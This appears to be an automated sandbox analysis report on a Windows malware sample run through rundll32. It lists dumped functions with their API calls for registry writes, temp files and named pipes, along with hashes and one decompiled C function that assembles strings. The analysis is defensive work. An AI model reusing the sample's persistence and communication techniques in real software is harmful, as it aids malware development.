                          • Opcode Fuzzy Hash: 1499150b6b4dc57d15c8c12423f86249b4168176ae5aa0fd603d73552d6355de
                          • Instruction Fuzzy Hash: D5618A75505700BFD7219F25C848AABB7EAFF88725F408A1DF59682280E7B4F904DF92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBD9F6 Relevance: 18.1, APIs: 12, Instructions: 136stringmemoryCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(00000000,761B5520,?,00000000,?,?,?), ref: 04CBDA0C
                          • lstrlen.KERNEL32(?), ref: 04CBDA14
                          • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 04CBDA24
                          • lstrcpy.KERNEL32(00000000,?), ref: 04CBDA43
                          • lstrlen.KERNEL32(?), ref: 04CBDA58
                          • lstrlen.KERNEL32(?), ref: 04CBDA66
                          • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,?), ref: 04CBDAB4
                          • lstrlen.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,?), ref: 04CBDAD8
                          • lstrlen.KERNEL32(?), ref: 04CBDB0B
                          • HeapFree.KERNEL32(00000000,?,?), ref: 04CBDB36
                          • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,?), ref: 04CBDB4D
                          • HeapFree.KERNEL32(00000000,?,?), ref: 04CBDB5A
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$Heap$Free$Allocatelstrcpy
                          • String ID:
                          • API String ID: 904523553-0
                          • Opcode ID: 9d3d7c09222b85afe8f3558b026eda460b9dd41ce52a268bfdce8a0376510f9a
                          • Instruction ID: 926065e1d97a3734cea6c8f2e8cbe9b0e302dd02567cf64541be99b4f0b2735b
                          • Opcode Fuzzy Hash: 9d3d7c09222b85afe8f3558b026eda460b9dd41ce52a268bfdce8a0376510f9a
                          • Instruction Fuzzy Hash: D041667690024ABFDF129FA0CC80AAE7BBAFB84310F108065E95697150DB35BE15EB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC1FE9 Relevance: 18.1, APIs: 12, Instructions: 104synchronizationpipethreadCOMMON
                          Download Yara Rule
                          APIs
                          • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 04CC201B
                          • WaitForSingleObject.KERNEL32(000005AC,00000000), ref: 04CC203D
                          • ConnectNamedPipe.KERNEL32(?,?), ref: 04CC205D
                          • GetLastError.KERNEL32 ref: 04CC2067
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 04CC208B
                          • FlushFileBuffers.KERNEL32(?,?,00000001,00000000,?,?,?,00000010,00000000), ref: 04CC20CE
                          • DisconnectNamedPipe.KERNEL32(?,?,?,00000010,00000000), ref: 04CC20D7
                          • WaitForSingleObject.KERNEL32(00000000), ref: 04CC20E0
                          • CloseHandle.KERNEL32(?), ref: 04CC20F5
                          • GetLastError.KERNEL32 ref: 04CC2102
                          • CloseHandle.KERNEL32(?), ref: 04CC210F
                          • RtlExitUserThread.NTDLL(000000FF), ref: 04CC2125
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Wait$CloseErrorHandleLastNamedObjectPipeSingle$BuffersConnectCreateDisconnectEventExitFileFlushMultipleObjectsThreadUser
                          • String ID:
                          • API String ID: 4053378866-0
                          • Opcode ID: 5bb9a644cf38034f61fd82e6fe26d1e4b78c14447eb7b7cf220ae4055b968c17
                          • Instruction ID: 165feb0f686ecf638ea77f81faa87347cc91c228a6af7fb527cd64fe8c95b5fc
                          • Opcode Fuzzy Hash: 5bb9a644cf38034f61fd82e6fe26d1e4b78c14447eb7b7cf220ae4055b968c17
                          • Instruction Fuzzy Hash: CA318074805305BFE7109F28CC48A6EBBAAFF48318F004A2DF965D21A0D774AE45CB92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC4140 Relevance: 18.1, APIs: 12, Instructions: 95registrymemorystringCOMMON
                          Download Yara Rule
                          APIs
                          • RtlImageNtHeader.NTDLL(?), ref: 04CC4151
                          • GetTempPathA.KERNEL32(00000000,00000000,?,?,04CC09CF,00000094,00000000,00000000,?), ref: 04CC4169
                          • RtlAllocateHeap.NTDLL(00000000,00000011), ref: 04CC4178
                          • GetTempPathA.KERNEL32(00000001,00000000,?,?,04CC09CF,00000094,00000000,00000000,?), ref: 04CC418B
                          • GetTickCount.KERNEL32 ref: 04CC418F
                          • wsprintfA.USER32 ref: 04CC41A6
                          • RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 04CC41E1
                          • StrRChrA.SHLWAPI(00000000,00000000,?), ref: 04CC4201
                          • lstrlen.KERNEL32(00000000), ref: 04CC420B
                          • RegSetValueExA.ADVAPI32(00000001,00000001,00000000,00000001,00000000,00000001), ref: 04CC421B
                          • RegCloseKey.ADVAPI32(?), ref: 04CC4227
                          • HeapFree.KERNEL32(00000000,00000000,00000000,?), ref: 04CC4235
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HeapPathTemp$AllocateCloseCountCreateFreeHeaderImageTickValuelstrlenwsprintf
                          • String ID:
                          • API String ID: 3778301466-0
                          • Opcode ID: 2119c4e24922e6e93ce14976d38b92ee20e79f54795aca329d8f1e51e5b546e7
                          • Instruction ID: 23555dd3f98c41b73195b0d38e8a3bfd3ed638e4175217fedbcd2716bad365a5
                          • Opcode Fuzzy Hash: 2119c4e24922e6e93ce14976d38b92ee20e79f54795aca329d8f1e51e5b546e7
                          • Instruction Fuzzy Hash: D23114B9502118FFDB119FA0EC88EAB7BADEF49355B018029F906C6100D639AE45DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB5093 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120memorythreadstringCOMMON
                          Download Yara Rule
                          APIs
                          • RtlImageNtHeader.NTDLL(00000000), ref: 04CB50BD
                          • GetCurrentThreadId.KERNEL32 ref: 04CB50D3
                          • GetCurrentThread.KERNEL32 ref: 04CB50E4
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,00000000,00000000,761B5520,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC509E
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50B7
                            • Part of subcall function 04CC508C: GetCurrentThreadId.KERNEL32 ref: 04CC50C4
                            • Part of subcall function 04CC508C: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50D0
                            • Part of subcall function 04CC508C: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50DE
                            • Part of subcall function 04CC508C: lstrcpy.KERNEL32(00000000), ref: 04CC5100
                            • Part of subcall function 04CD0551: lstrlen.KERNEL32(00000000,00000001,00000000,00000000,?,00000001,00000000,00000000,761B5520,00000000,?,04CB512E,00000020,00000000,?,00000000), ref: 04CD05BC
                            • Part of subcall function 04CD0551: HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,00000001,00000000,00000000,761B5520,00000000,?,04CB512E,00000020,00000000,?,00000000), ref: 04CD05E4
                          • HeapFree.KERNEL32(00000000,?,?,?,?,00000020,00000000,?,00000000,?,00000000,00000000,?), ref: 04CB515E
                          • HeapFree.KERNEL32(00000000,?,00000020,00000000,?,00000000,?,00000000,00000000,?), ref: 04CB516A
                          • RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 04CB51B9
                          • wsprintfA.USER32 ref: 04CB51D1
                          • lstrlen.KERNEL32(00000000,00000000), ref: 04CB51DC
                          • HeapFree.KERNEL32(00000000,00000000,0000001C,00000000,00000000), ref: 04CB51F3
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$CurrentTempThread$FilePathTimelstrlen$AllocateHeaderImageNameSystemlstrcpywsprintf
                          • String ID: W
                          • API String ID: 630447368-655174618
                          • Opcode ID: aab75f95098e4cde03b7d910a5fb88fe5e79bf9664a7fa9f117e3a268fc71b73
                          • Instruction ID: a4733966cdaa93880e10d6c2dade4a2ef0c9bbeda19490645cff624ddb69a2c8
                          • Opcode Fuzzy Hash: aab75f95098e4cde03b7d910a5fb88fe5e79bf9664a7fa9f117e3a268fc71b73
                          • Instruction Fuzzy Hash: D7414979901118FFDB129FA1DC48AEEBFBAFF09748F044025F94592250D739AA54EBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCB804 Relevance: 16.7, APIs: 11, Instructions: 157registrystringfileCOMMON
                          Download Yara Rule
                          APIs
                          • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 04CCB82F
                            • Part of subcall function 04CC447B: RegCloseKey.ADVAPI32(?,?), ref: 04CC4502
                          • RegOpenKeyA.ADVAPI32(80000001,04CC4833,?), ref: 04CCB86A
                          • lstrcpyW.KERNEL32(-00000002,94E85600), ref: 04CCB8CC
                          • lstrcatW.KERNEL32(00000000,?), ref: 04CCB8E1
                          • lstrcpyW.KERNEL32(?), ref: 04CCB8FB
                          • lstrcatW.KERNEL32(00000000,?), ref: 04CCB90A
                            • Part of subcall function 04CC452B: lstrlenW.KERNEL32(?,?,?,04CBE51D,?,?,?,?,00001000,?,?,00001000), ref: 04CC453E
                            • Part of subcall function 04CC452B: lstrlen.KERNEL32(?,?,04CBE51D,?,?,?,?,00001000,?,?,00001000), ref: 04CC4549
                            • Part of subcall function 04CC452B: RtlAllocateHeap.NTDLL(00000000,00000022), ref: 04CC455E
                          • RegCloseKey.ADVAPI32(04CC4833,?,?,04CC4833), ref: 04CCB974
                            • Part of subcall function 04CBC2AA: lstrlenW.KERNEL32(00000000,00000000,00000000,00000000,?,?,04CB171E,?,?,00000000,?), ref: 04CBC2B6
                            • Part of subcall function 04CBC2AA: memcpy.NTDLL(00000000,00000000,00000000,00000002,?,?,04CB171E,?,?,00000000,?), ref: 04CBC2DE
                            • Part of subcall function 04CBC2AA: memset.NTDLL ref: 04CBC2F0
                          • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000080,00000000,00000000,?,00000000,?,?,?,04CC4833), ref: 04CCB9A9
                          • GetLastError.KERNEL32(?,?,04CC4833), ref: 04CCB9B4
                          • HeapFree.KERNEL32(00000000,00000000,?,?,04CC4833), ref: 04CCB9CA
                          • RegCloseKey.ADVAPI32(?,00000000,?,00000000,?,?,?,04CC4833), ref: 04CCB9DC
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Closelstrlen$HeapOpenlstrcatlstrcpy$AllocateCreateErrorFileFreeLastmemcpymemset
                          • String ID:
                          • API String ID: 1430934453-0
                          • Opcode ID: 7082a9e10de87c85347e065cf9630e7020ff874abb5227f4560044fe879cd477
                          • Instruction ID: c87907e45786c153691389f73e3dd58f1a127c9fd5fc969d03f2f865a4b251d1
                          • Opcode Fuzzy Hash: 7082a9e10de87c85347e065cf9630e7020ff874abb5227f4560044fe879cd477
                          • Instruction Fuzzy Hash: C0516979901119FBDB11EFA4EC45EAEBBBAEF48304F144059E901A3151E739FE01EBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C762F6 Relevance: 16.6, APIs: 11, Instructions: 145stringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 55%
                          			E04C762F6(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR** _a16, WCHAR** _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				WCHAR* _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				WCHAR* _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				WCHAR* _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				WCHAR* _t125;

				_t58 =  *0x4c7a3dc; // 0x5249c18
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E04C77367();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E04C77367();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E04C7117A(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E04C7117A(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E04C767E7(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0x4c7918c;
						}
						_t70 = E04C7659E(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E04C76D63(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0x4c7a348; // 0x5cd5a8
								_t28 = _t105 + 0x4c7bb30; // 0x530025
								wsprintfW(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E04C767E7(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0x4c79190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E04C76D63(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E04C76C2C(_v24);
								} else {
									_t92 =  *0x4c7a348; // 0x5cd5a8
									_t44 = _t92 + 0x4c7bca8; // 0x73006d
									wsprintfW(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E04C76C2C(_v8);
						}
						E04C76C2C(_v12);
					}
					E04C76C2C(_v16);
				}
				return _v28;
			}


































                          0x04c762fc
                          0x04c76304
                          0x04c76307
                          0x04c76314
                          0x04c76317
                          0x04c7631e
                          0x04c76325
                          0x04c76328
                          0x04c76335
                          0x04c76338
                          0x04c7633b
                          0x04c76340
                          0x04c76345
                          0x04c7634d
                          0x04c76352
                          0x04c76357
                          0x04c7635d
                          0x04c76361
                          0x04c7636a
                          0x04c7636e
                          0x04c76370
                          0x04c76370
                          0x04c76378
                          0x04c7637d
                          0x04c76382
                          0x04c76388
                          0x04c7638f
                          0x04c763a0
                          0x04c763a7
                          0x04c763b9
                          0x04c763be
                          0x04c763c3
                          0x04c763cc
                          0x04c763de
                          0x04c763f4
                          0x04c763f9
                          0x04c763fd
                          0x04c76401
                          0x04c76406
                          0x04c7640b
                          0x04c7640d
                          0x04c7640d
                          0x04c76417
                          0x04c76420
                          0x04c76427
                          0x04c76443
                          0x04c76447
                          0x04c76480
                          0x04c76449
                          0x04c7644c
                          0x04c76454
                          0x04c76465
                          0x04c7646d
                          0x04c76475
                          0x04c76479
                          0x04c76479
                          0x04c76447
                          0x04c76488
                          0x04c76488
                          0x04c76490
                          0x04c76490
                          0x04c76498
                          0x04c76498
                          0x04c764a4

                          APIs
                          • GetTickCount.KERNEL32 ref: 04C7630E
                          • lstrlen.KERNEL32(00000000,00000005), ref: 04C7638F
                          • lstrlen.KERNEL32(?), ref: 04C763A0
                          • lstrlen.KERNEL32(00000000), ref: 04C763A7
                          • lstrlenW.KERNEL32(80000002), ref: 04C763AE
                          • wsprintfW.USER32 ref: 04C763F4
                          • lstrlen.KERNEL32(?,00000004), ref: 04C76417
                          • lstrlen.KERNEL32(?), ref: 04C76420
                          • lstrlen.KERNEL32(?), ref: 04C76427
                          • lstrlenW.KERNEL32(?), ref: 04C7642E
                          • wsprintfW.USER32 ref: 04C76465
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: lstrlen$wsprintf$CountFreeHeapTick
                          • String ID:
                          • API String ID: 822878831-0
                          • Opcode ID: 10814564d9d9bb432a618fc820e9f3e3488f36102335e575133b31d85ead6770
                          • Instruction ID: 4eb7d763f4f44f8d9551aa0eafea145754131d2c01573f36e2feba558286cb8d
                          • Opcode Fuzzy Hash: 10814564d9d9bb432a618fc820e9f3e3488f36102335e575133b31d85ead6770
                          • Instruction Fuzzy Hash: E5518D76E00619ABDF11AFA4DC44ADE7FB6EF44368F058065E904AB210DB35EE11EF90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC5353 Relevance: 16.6, APIs: 11, Instructions: 144memoryregistryCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,00000104,00000000), ref: 04CC5389
                          • RtlAllocateHeap.NTDLL(00000000,00000104), ref: 04CC539E
                          • RegCreateKeyA.ADVAPI32(80000001,?), ref: 04CC53C6
                          • HeapFree.KERNEL32(00000000,?), ref: 04CC5407
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CC5417
                          • RtlAllocateHeap.NTDLL(00000000,04CBDA9D), ref: 04CC542A
                          • RtlAllocateHeap.NTDLL(00000000,04CBDA9D), ref: 04CC5439
                          • HeapFree.KERNEL32(00000000,00000000,?,04CBDA9D,00000000,?,?,?), ref: 04CC5483
                          • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,04CBDA9D,00000000,?,?,?,?), ref: 04CC54A7
                          • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,04CBDA9D,00000000,?,?,?), ref: 04CC54CC
                          • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,04CBDA9D,00000000,?,?,?), ref: 04CC54E1
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$Allocate$CloseCreate
                          • String ID:
                          • API String ID: 4126010716-0
                          • Opcode ID: f47588c414750b191c9715a05d0bfd2890365a9809d246331a5c5b2cb177747d
                          • Instruction ID: 626ac2d3a14f50d9fb92d23ee5cfabf2de83b3a0226665052ae133608d669a1d
                          • Opcode Fuzzy Hash: f47588c414750b191c9715a05d0bfd2890365a9809d246331a5c5b2cb177747d
                          • Instruction Fuzzy Hash: CD51A0B9901129FFDF11DF94D8849EEBBBAFF08315F50446AE905A2120D339AE94DF60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBCEC3 Relevance: 16.6, APIs: 11, Instructions: 121memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • PathFindFileNameW.SHLWAPI(?), ref: 04CBCEDD
                          • PathFindFileNameW.SHLWAPI(?), ref: 04CBCEF3
                          • lstrlenW.KERNEL32(00000000), ref: 04CBCF36
                          • RtlAllocateHeap.NTDLL(00000000,04CD350B), ref: 04CBCF4C
                          • memcpy.NTDLL(00000000,00000000,04CD3509), ref: 04CBCF5F
                          • _wcsupr.NTDLL ref: 04CBCF6B
                          • lstrlenW.KERNEL32(?,04CD3509), ref: 04CBCFA4
                          • RtlAllocateHeap.NTDLL(00000000,?,04CD3509), ref: 04CBCFB9
                          • lstrcpyW.KERNEL32(00000000,?), ref: 04CBCFCF
                          • lstrcatW.KERNEL32(00000000,?), ref: 04CBCFF5
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CBD004
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFileFindNamePathlstrlen$Free_wcsuprlstrcatlstrcpymemcpy
                          • String ID:
                          • API String ID: 3868788785-0
                          • Opcode ID: 5702d798e7bf7e7a213bbb35bef74dbabf18be9645757c38ab4ca07980e3e7bb
                          • Instruction ID: 749ac7fd61c7db3e3326a17aaae67595c2f0e1828b85cd54ad95c31c9a83fe8a
                          • Opcode Fuzzy Hash: 5702d798e7bf7e7a213bbb35bef74dbabf18be9645757c38ab4ca07980e3e7bb
                          • Instruction Fuzzy Hash: 1331E33A201218BFC7205F78AC88AAF77AAEB89350F15052DFA92D7140DB75BD058BD1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB161A Relevance: 16.6, APIs: 11, Instructions: 102registrymemorystringCOMMON
                          Download Yara Rule
                          APIs
                          • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 04CB163E
                            • Part of subcall function 04CC447B: RegCloseKey.ADVAPI32(?,?), ref: 04CC4502
                          • lstrcmpiW.KERNEL32(?,?,?,?,00000000,?,00000000,?), ref: 04CB166D
                          • lstrlenW.KERNEL32(?,?,?,00000000,?,00000000,?), ref: 04CB167E
                          • RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 04CB16B8
                          • RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,00000000,?), ref: 04CB16DA
                          • RegCloseKey.ADVAPI32(?,?,00000000,?), ref: 04CB16E3
                          • RtlEnterCriticalSection.NTDLL(00000000), ref: 04CB16F9
                          • HeapFree.KERNEL32(00000000,?,?,00000000,?), ref: 04CB170E
                          • RtlLeaveCriticalSection.NTDLL(00000000), ref: 04CB1722
                          • HeapFree.KERNEL32(00000000,?,?,00000000,?), ref: 04CB1737
                          • RegCloseKey.ADVAPI32(?,?,00000000,?), ref: 04CB1740
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Close$CriticalFreeHeapSection$CreateEnterLeaveOpenValuelstrcmpilstrlen
                          • String ID:
                          • API String ID: 534682438-0
                          • Opcode ID: 2d522febae1420d9a016176636a0c0c2b4869470a70b479c1ae6190f6a97df57
                          • Instruction ID: 93b041a2968c63d6bcfb02ae5309b6bdfabab2fce1a1fc6898ee147febcc2f97
                          • Opcode Fuzzy Hash: 2d522febae1420d9a016176636a0c0c2b4869470a70b479c1ae6190f6a97df57
                          • Instruction Fuzzy Hash: 93313979501108FFCB219FA4EC88EEE7BBAEF49341F144155FA46E2020D73AAE45DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC33CD Relevance: 16.6, APIs: 11, Instructions: 80memoryfileCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,00000104,00000000), ref: 04CC33E4
                          • GetWindowsDirectoryA.KERNEL32(00000000,00000104,?,00000000,?,04CC0B6B,00000094,00000000,00000001,00000094,00000000,00000000,?,04CBC1F8,00000000,00000094), ref: 04CC33F6
                          • StrChrA.SHLWAPI(00000000,0000003A,?,00000000,?,04CC0B6B,00000094,00000000,00000001,00000094,00000000,00000000,?,04CBC1F8,00000000,00000094), ref: 04CC3403
                          • wsprintfA.USER32 ref: 04CC341E
                          • CreateFileA.KERNEL32(00000002,C0000000,00000003,00000000,00000003,00000000,00000000,00000000,?,04CBC1F8,00000000,00000094,00000000), ref: 04CC3434
                          • GetModuleHandleA.KERNEL32(00000000,00010000,?,00000000), ref: 04CC344D
                          • WriteFile.KERNEL32(00000000,00000000), ref: 04CC3455
                          • GetLastError.KERNEL32 ref: 04CC3463
                          • CloseHandle.KERNEL32(00000000), ref: 04CC346C
                          • GetLastError.KERNEL32(?,00000000,?,04CC0B6B,00000094,00000000,00000001,00000094,00000000,00000000,?,04CBC1F8,00000000,00000094,00000000), ref: 04CC347D
                          • HeapFree.KERNEL32(00000000,00000000,?,00000000,?,04CC0B6B,00000094,00000000,00000001,00000094,00000000,00000000,?,04CBC1F8,00000000,00000094), ref: 04CC348D
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorFileHandleHeapLast$AllocateCloseCreateDirectoryFreeModuleWindowsWritewsprintf
                          • String ID:
                          • API String ID: 3873609385-0
                          • Opcode ID: 83b9a767e221ed8116336966cc9bf73f04efa95af86896ec252234cb1f5e2c56
                          • Instruction ID: 13df36c301e87bbf9779726e74ad08b0bb5d8bbc7379eed31733ee04302f0dbd
                          • Opcode Fuzzy Hash: 83b9a767e221ed8116336966cc9bf73f04efa95af86896ec252234cb1f5e2c56
                          • Instruction Fuzzy Hash: 4811D279202254BFE3216FA4BC8CF7B3FADEB46665B044028FD06C2190DB296D09C6B1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB7FFF Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • StrChrA.SHLWAPI(00000000,0000002C,76ECD3B0,00000000,761B5520,7620F710), ref: 04CB8030
                          • StrChrA.SHLWAPI(00000001,0000002C), ref: 04CB8043
                          • StrTrimA.SHLWAPI(00000000,?), ref: 04CB8066
                          • StrTrimA.SHLWAPI(00000001,?), ref: 04CB8075
                          • lstrlen.KERNEL32(00000000), ref: 04CB80AA
                          • RtlAllocateHeap.NTDLL(00000000,-00000005), ref: 04CB80BD
                          • lstrcpy.KERNEL32(00000004,00000000), ref: 04CB80DB
                          • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04CB80FF
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HeapTrim$AllocateFreelstrcpylstrlen
                          • String ID: W
                          • API String ID: 1974185407-655174618
                          • Opcode ID: 6c26d22b024e6383d0f09c6ab01a543909159b22d00cad63a84c812b83a26702
                          • Instruction ID: 736b958428cec7bc1d84e0be60d8e7d15231e81065571d72be6e10ad12645983
                          • Opcode Fuzzy Hash: 6c26d22b024e6383d0f09c6ab01a543909159b22d00cad63a84c812b83a26702
                          • Instruction Fuzzy Hash: EC318079902218FFDB10EF68DC48F9A7BBEEF48740F14805AF54597200E779A9419BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC3C97 Relevance: 15.2, APIs: 10, Instructions: 186stringmemoryCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(060DCBB8,00000000,00000000,00000000,?), ref: 04CC3CBA
                          • lstrlen.KERNEL32(?,00000000,00000000,00000000,?), ref: 04CC3CC9
                          • lstrlen.KERNEL32(?,00000000,00000000,00000000,?), ref: 04CC3CD6
                          • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 04CC3CEE
                          • lstrlen.KERNEL32(?,00000000,00000000,00000000,?), ref: 04CC3CFA
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CC3D16
                          • wsprintfA.USER32 ref: 04CC3DF8
                          • memcpy.NTDLL(00000000,00004000,?), ref: 04CC3E45
